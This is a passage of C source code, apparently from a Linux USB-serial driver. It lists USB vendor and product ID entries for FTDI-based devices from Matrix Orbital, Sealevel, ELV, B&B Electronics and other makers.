{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0163_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0164_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0165_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0166_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0167_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0168_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0169_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_016A_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_016B_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_016C_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_016D_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_016E_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_016F_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0170_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0171_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0172_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0173_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0174_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0175_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0176_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0177_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0178_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0179_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_017A_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_017B_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_017C_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_017D_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_017E_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_017F_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0180_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0181_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0182_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0183_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0184_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0185_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0186_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0187_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0188_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0189_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_018A_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_018B_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_018C_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_018D_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_018E_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_018F_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0190_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0191_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0192_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0193_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0194_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0195_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0196_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0197_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0198_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0199_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_019A_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_019B_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_019C_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_019D_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_019E_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_019F_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A0_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A1_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A2_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A3_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A4_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A5_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A6_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A7_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A8_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A9_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01AA_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01AB_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01AC_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01AD_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01AE_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01AF_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B0_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B1_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B2_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B3_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B4_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B5_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B6_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B7_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B8_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B9_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01BA_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01BB_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01BC_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01BD_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01BE_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01BF_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C0_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C1_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C2_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C3_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C4_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C5_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C6_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C7_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C8_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C9_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01CA_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01CB_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01CC_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01CD_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01CE_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01CF_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D0_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D1_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D2_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D3_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D4_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D5_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D6_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D7_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D8_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D9_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01DA_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01DB_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01DC_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01DD_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01DE_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01DF_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E0_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E1_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E2_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E3_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E4_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E5_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E6_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E7_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E8_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E9_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01EA_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01EB_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01EC_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01ED_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01EE_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01EF_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F0_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F1_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F2_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F3_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F4_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F5_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F6_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F7_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F8_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F9_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FA_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FB_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FC_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FD_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FE_PID) },
{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FF_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_PERLE_ULTRAPORT_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_PIEGROUP_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_TNC_X_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_USBX_707_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2101_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2102_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2103_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2104_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2106_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2201_1_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2201_2_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2202_1_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2202_2_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2203_1_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2203_2_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2401_1_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2401_2_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2401_3_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2401_4_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2402_1_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2402_2_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2402_3_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2402_4_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2403_1_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2403_2_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2403_3_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2403_4_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_1_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_2_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_3_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_4_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_5_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_6_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_7_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_8_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_1_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_2_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_3_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_4_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_5_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_6_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_7_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_8_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_1_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_2_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_3_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_4_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_5_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_6_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_7_PID) },
{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_8_PID) },
{ USB_DEVICE(IDTECH_VID, IDTECH_IDT1221U_PID) },
{ USB_DEVICE(OCT_VID, OCT_US101_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_HE_TIRA1_PID),
.driver_info = (kernel_ulong_t)&ftdi_HE_TIRA1_quirk },
{ USB_DEVICE(FTDI_VID, FTDI_USB_UIRT_PID),
.driver_info = (kernel_ulong_t)&ftdi_USB_UIRT_quirk },
{ USB_DEVICE(FTDI_VID, PROTEGO_SPECIAL_1) },
{ USB_DEVICE(FTDI_VID, PROTEGO_R2X0) },
{ USB_DEVICE(FTDI_VID, PROTEGO_SPECIAL_3) },
{ USB_DEVICE(FTDI_VID, PROTEGO_SPECIAL_4) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E808_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E809_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E80A_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E80B_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E80C_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E80D_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E80E_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E80F_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E888_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E889_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E88A_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E88B_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E88C_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E88D_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E88E_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E88F_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_UO100_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_UM100_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_UR100_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_ALC8500_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_PYRAMID_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_FHZ1000PC_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_IBS_US485_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_IBS_PICPRO_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_IBS_PCMCIA_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_IBS_PK1_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_IBS_RS232MON_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_IBS_APP70_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_IBS_PEDO_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_IBS_PROD_PID) },
/*
* ELV devices:
*/
{ USB_DEVICE(FTDI_VID, FTDI_ELV_USR_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_MSM1_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_KL100_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_WS550_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_EC3000_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_WS888_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_TWS550_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_FEM_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_CLI7000_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_PPS7330_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_TFM100_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_UDF77_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_UIO88_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_UAD8_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_UDA7_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_USI2_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_T1100_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_PCD200_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_ULA200_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_CSI8_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_EM1000DL_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_PCK100_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_RFP500_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_FS20SIG_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_UTP8_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_WS300PC_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_WS444PC_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_FHZ1300PC_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_EM1010PC_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_WS500_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_HS485_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_UMS100_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_TFD128_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_FM3RX_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELV_WS777_PID) },
{ USB_DEVICE(FTDI_VID, LINX_SDMUSBQSS_PID) },
{ USB_DEVICE(FTDI_VID, LINX_MASTERDEVEL2_PID) },
{ USB_DEVICE(FTDI_VID, LINX_FUTURE_0_PID) },
{ USB_DEVICE(FTDI_VID, LINX_FUTURE_1_PID) },
{ USB_DEVICE(FTDI_VID, LINX_FUTURE_2_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_CCSICDU20_0_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_CCSICDU40_1_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_CCSMACHX_2_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_CCSLOAD_N_GO_3_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_CCSICDU64_4_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_CCSPRIME8_5_PID) },
{ USB_DEVICE(FTDI_VID, INSIDE_ACCESSO) },
{ USB_DEVICE(INTREPID_VID, INTREPID_VALUECAN_PID) },
{ USB_DEVICE(INTREPID_VID, INTREPID_NEOVI_PID) },
{ USB_DEVICE(FALCOM_VID, FALCOM_TWIST_PID) },
{ USB_DEVICE(FALCOM_VID, FALCOM_SAMBA_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_SUUNTO_SPORTS_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_OCEANIC_PID) },
{ USB_DEVICE(TTI_VID, TTI_QL355P_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_RM_CANVIEW_PID) },
{ USB_DEVICE(CONTEC_VID, CONTEC_COM1USBH_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_USOTL4_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_USTL4_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_USO9ML2_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_USOPTL4_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_USPTL4_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_USO9ML2DR_2_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_USO9ML2DR_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_USOPTL4DR2_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_USOPTL4DR_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_485USB9F_2W_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_485USB9F_4W_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_232USB9M_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_485USBTB_2W_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_485USBTB_4W_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_TTL5USB9M_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_TTL3USB9M_PID) },
{ USB_DEVICE(BANDB_VID, BANDB_ZZ_PROG1_USB_PID) },
{ USB_DEVICE(FTDI_VID, EVER_ECO_PRO_CDS) },
{ USB_DEVICE(FTDI_VID, FTDI_4N_GALAXY_DE_1_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_4N_GALAXY_DE_2_PID) },
{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_0_PID) },
{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_1_PID) },
{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_2_PID) },
{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_3_PID) },
{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_4_PID) },
{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_5_PID) },
{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_6_PID) },
{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_7_PID) },
{ USB_DEVICE(MOBILITY_VID, MOBILITY_USB_SERIAL_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ACTIVE_ROBOTS_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MHAM_KW_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MHAM_YS_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MHAM_Y6_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MHAM_Y8_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MHAM_IC_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MHAM_DB9_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MHAM_RS232_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MHAM_Y9_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_TERATRONIK_VCP_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_TERATRONIK_D2XX_PID) },
{ USB_DEVICE(EVOLUTION_VID, EVOLUTION_ER1_PID) },
{ USB_DEVICE(EVOLUTION_VID, EVO_HYBRID_PID) },
{ USB_DEVICE(EVOLUTION_VID, EVO_RCM4_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ARTEMIS_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ATIK_ATK16_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ATIK_ATK16C_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ATIK_ATK16HR_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ATIK_ATK16HRC_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ATIK_ATK16IC_PID) },
{ USB_DEVICE(KOBIL_VID, KOBIL_CONV_B1_PID) },
{ USB_DEVICE(KOBIL_VID, KOBIL_CONV_KAAN_PID) },
{ USB_DEVICE(POSIFLEX_VID, POSIFLEX_PP7000_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_TTUSB_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ECLO_COM_1WIRE_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_WESTREX_MODEL_777_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_WESTREX_MODEL_8900F_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_PCDJ_DAC2_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_RRCIRKITS_LOCOBUFFER_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ASK_RDR400_PID) },
